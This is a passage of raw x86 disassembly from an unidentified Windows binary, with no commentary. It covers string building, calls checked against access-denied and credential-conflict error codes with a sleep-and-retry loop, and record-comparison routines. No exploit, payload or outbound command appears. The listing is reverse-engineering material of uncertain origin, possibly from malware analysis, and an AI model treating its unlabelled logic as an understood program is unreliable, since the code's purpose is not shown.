		lea	edi, [esp+132h]
		mov	[esp+130h], dx
		rep stosd
		mov	ecx, [esp+360h]
		push	0FFh
		stosw
		lea	eax, [esp+18h]
		xor	edi, edi
		push	eax
		push	0FFFFFFFFh
		push	ecx
		push	edi
		push	edi
		call	near ptr 27C0000h
		nop
		mov	esi, dword_511AB8
		lea	edx, [esp+14h]
		lea	eax, [esp+12Ch]
		push	edx
		push	eax
		call	esi	; wcscat
		lea	ecx, [esp+10h]
		lea	edx, [esp+134h]
		push	ecx
		push	edx
		call	esi	; wcscat
		mov	esi, [esp+374h]
		add	esp, 10h
		lea	eax, [esp+12Ch]
		push	edi
		push	offset dword_50DB5C
		push	offset dword_50DB5C
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+14h], eax
		mov	[esi+1Ch], edi
		call	sub_43829E
; ---------------------------------------------------------------------------
		cmp	eax, 5
		jz	short loc_41C2C8
		cmp	eax, 4C3h
		jnz	short loc_41C2D1


loc_41C2C8:				; CODE XREF: ___:0041C2BFj
		push	edi
		push	edi
		push	edi
		push	esi
		call	sub_43829E
; ---------------------------------------------------------------------------


loc_41C2D1:				; CODE XREF: ___:0041C2C6j
		pop	edi
		cmp	eax, 5
		pop	esi
		jz	short loc_41C2E8
		cmp	eax, 4C3h
		jz	short loc_41C2E8
		mov	al, 1
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------


loc_41C2E8:				; CODE XREF: ___:0041C2D6j
					; ___:0041C2DDj
		xor	al, al
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41C350:				; CODE XREF: ___:00401EE7j
		sub	esp, 354h
		mov	eax, off_444E9C
		mov	ecx, off_444EA0
		mov	[esp+0], eax
		mov	al, byte_448F40
		push	esi
		push	edi
		mov	[esp+0Ch], ecx
		mov	[esp+14h], al
		mov	ecx, 45h
		xor	eax, eax
		lea	edi, [esp+15h]
		mov	edx, dword_444EA4
		rep stosd
		mov	ecx, off_444E94
		mov	[esp+10h], edx
		mov	dx, word_444E98
		mov	[esp+12Ch], ecx
		stosw
		stosb
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [esp+132h]
		mov	[esp+130h], dx
		rep stosd
		mov	ecx, [esp+360h]
		push	0FFh
		stosw
		lea	eax, [esp+18h]
		push	eax
		push	0FFFFFFFFh
		push	ecx
		push	0
		push	0
		nop
		call	near ptr 27C0000h
		mov	esi, dword_511AB8
		lea	edx, [esp+14h]
		lea	eax, [esp+12Ch]
		push	edx
		push	eax
		call	esi	; wcscat
		lea	ecx, [esp+10h]
		lea	edx, [esp+134h]
		push	ecx
		push	edx
		call	esi	; wcscat
		add	esp, 10h
		lea	eax, [esp+12Ch]
		push	0
		push	0
		push	eax
		call	sub_4382A4
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_41C438
		mov	esi, dword_5118D8


loc_41C41C:				; CODE XREF: ___:0041C436j
		push	7D0h
		call	esi
		push	0
		lea	ecx, [esp+130h]
		push	0
		push	ecx
		call	sub_4382A4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41C41C


loc_41C438:				; CODE XREF: ___:0041C414j
		pop	edi
		mov	al, 1
		pop	esi
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41C490	proc near		; CODE XREF: sub_401D93j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41C490
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	0Ch
		push	4
		push	4Fh
		push	10h
		push	14h
		lea	eax, [esp+5Ch+var_3C]
		push	6
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+0BCh]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
sub_41C490	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		push	10h
		push	14h
		lea	edx, [esp+24h]
		push	6
		push	edx
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+118h]
		push	eax
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	15h
		push	4Fh
		push	10h
		push	14h
		lea	ecx, [esp+20h]
		push	6
		push	ecx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+0EAh]
		push	eax
		push	edx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	4
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	eax, [esp+24h]
		push	8
		push	eax
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	edx, [esp+28h]
		push	8
		push	edx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		push	eax
		lea	eax, [esi+60h]
		push	eax
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	14h
		push	1
		push	4
		push	10h
		push	15h
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	ecx, [esp+4Ch]
		push	8
		push	ecx
		call	sub_4019C4
		add	esp, 34h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 5
		call	sub_4017EE
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C710	proc near		; CODE XREF: sub_401064j

var_111		= byte ptr -111h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_F4		= byte ptr -0F4h
var_DC		= byte ptr -0DCh
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_94		= byte ptr -94h
var_7C		= byte ptr -7Ch
var_67		= byte ptr -67h
var_52		= byte ptr -52h
var_3D		= byte ptr -3Dh
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_41C710
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 108h
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		lea	ecx, [esp+124h+var_10C]
		call	sub_40142E
		lea	ecx, [esp+124h+var_DC]
		mov	[esp+124h+var_4], 0
		call	sub_40142E
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_40142E
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_40142E
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_40142E
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_401B4A
		mov	esi, [esp+124h+arg_0]
		mov	bl, 5
		lea	ecx, [ebp+8Eh]
		mov	byte ptr [esp+124h+var_4], bl
		lea	edi, [esi+7Eh]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		lea	ecx, [ebp+4]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41C93C
		push	offset asc_444600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 6
		push	ecx
		mov	ecx, eax
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		push	offset asc_444C7C ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401AAF
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 7
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 8
		jz	short loc_41C8CC
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41C8CE
; ---------------------------------------------------------------------------


loc_41C8CC:				; CODE XREF: sub_41C710+1AFj
		xor	edi, edi


loc_41C8CE:				; CODE XREF: sub_41C710+1BAj
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FDC
		lea	eax, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	eax
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 0
		mov	cl, [esi+93h]
		mov	[edi+92h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], dl
		call	sub_4013DE


loc_41C93C:				; CODE XREF: sub_41C710+C0j
		lea	ecx, [ebp+60h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CABB
		push	offset asc_444600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 9
		push	ecx
		mov	ecx, eax
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		push	offset asc_444C7C ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401AAF
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 0Ah
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 0Bh
		jz	short loc_41CA4B
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41CA4D
; ---------------------------------------------------------------------------


loc_41CA4B:				; CODE XREF: sub_41C710+32Ej
		xor	edi, edi


loc_41CA4D:				; CODE XREF: sub_41C710+339j
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FDC
		lea	eax, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	eax
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 1
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 0
		mov	cl, [esi+93h]
		mov	[edi+92h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], dl
		call	sub_4013DE


loc_41CABB:				; CODE XREF: sub_41C710+23Fj
		lea	ecx, [ebp+32h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CCF6
		push	offset asc_444600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 0Ch
		push	ecx
		mov	ecx, eax
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		push	offset asc_444C7C ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401AAF
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 0Dh
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset word_44956A
		mov	ecx, eax
		mov	byte ptr [esp+128h+var_4], 0Eh
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		setz	[esp+124h+var_111]
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jz	short loc_41CC5E
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014BA
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_41D312
; ---------------------------------------------------------------------------


loc_41CC5E:				; CODE XREF: sub_41C710+4D6j
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 0Fh
		jz	short loc_41CC86
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41CC88
; ---------------------------------------------------------------------------


loc_41CC86:				; CODE XREF: sub_41C710+569j
		xor	edi, edi


loc_41CC88:				; CODE XREF: sub_41C710+574j
		lea	ecx, [esp+124h+var_10C]
		mov	byte ptr [esp+124h+var_4], bl
		push	ecx
		lea	ecx, [edi+11h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 1
		mov	byte ptr [edi+91h], 0
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013DE


loc_41CCF6:				; CODE XREF: sub_41C710+3BEj
		lea	ecx, [ebp+0BCh]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CE9B
		push	offset asc_444600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 10h
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FDC
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 11h
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 12h
		jz	short loc_41CE0E
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41CE10
; ---------------------------------------------------------------------------


loc_41CE0E:				; CODE XREF: sub_41C710+6F1j
		xor	edi, edi


loc_41CE10:				; CODE XREF: sub_41C710+6FCj
		lea	edx, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	edx
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	eax, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_C4]
		push	ecx
		lea	ecx, [edi+65h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_94]
		lea	ecx, [edi+50h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 1
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013DE


loc_41CE9B:				; CODE XREF: sub_41C710+5FCj
		lea	ecx, [ebp+118h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41D040
		push	offset asc_444600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 13h
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FDC
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 14h
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 15h
		jz	short loc_41CFB3
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41CFB5
; ---------------------------------------------------------------------------


loc_41CFB3:				; CODE XREF: sub_41C710+896j
		xor	edi, edi


loc_41CFB5:				; CODE XREF: sub_41C710+8A1j
		lea	edx, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	edx
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	eax, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_C4]
		push	ecx
		lea	ecx, [edi+65h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_94]
		lea	ecx, [edi+50h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 1
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 1
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013DE


loc_41D040:				; CODE XREF: sub_41C710+7A1j
		lea	ecx, [ebp+0EAh]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41D2A1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 16h
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FDC
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 17h
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+128h+var_F4]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	offset word_44956A
		mov	ecx, eax
		mov	byte ptr [esp+128h+var_4], 18h
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		setz	[esp+124h+var_111]
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jz	short loc_41D1EC
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014BA
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_41D312
; ---------------------------------------------------------------------------


loc_41D1EC:				; CODE XREF: sub_41C710+A64j
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 19h
		jz	short loc_41D214
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41D216
; ---------------------------------------------------------------------------


loc_41D214:				; CODE XREF: sub_41C710+AF7j
		xor	edi, edi


loc_41D216:				; CODE XREF: sub_41C710+B02j
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_94]
		push	ecx
		lea	ecx, [edi+50h]
		call	sub_401FDC
		lea	edx, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	edx
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 1
		mov	byte ptr [edi+91h], 1
		mov	al, [esi+93h]
		mov	[edi+92h], al
		mov	cl, [esi+94h]
		mov	[edi+93h], cl
		mov	ecx, edi
		call	sub_4013DE


loc_41D2A1:				; CODE XREF: sub_41C710+116j
					; sub_41C710+295j ...
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014BA
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1


loc_41D312:				; CODE XREF: sub_41C710+549j
					; sub_41C710+AD7j
		mov	ecx, [esp+124h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 114h
		retn	4
sub_41C710	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 310h	dup(0CCh)

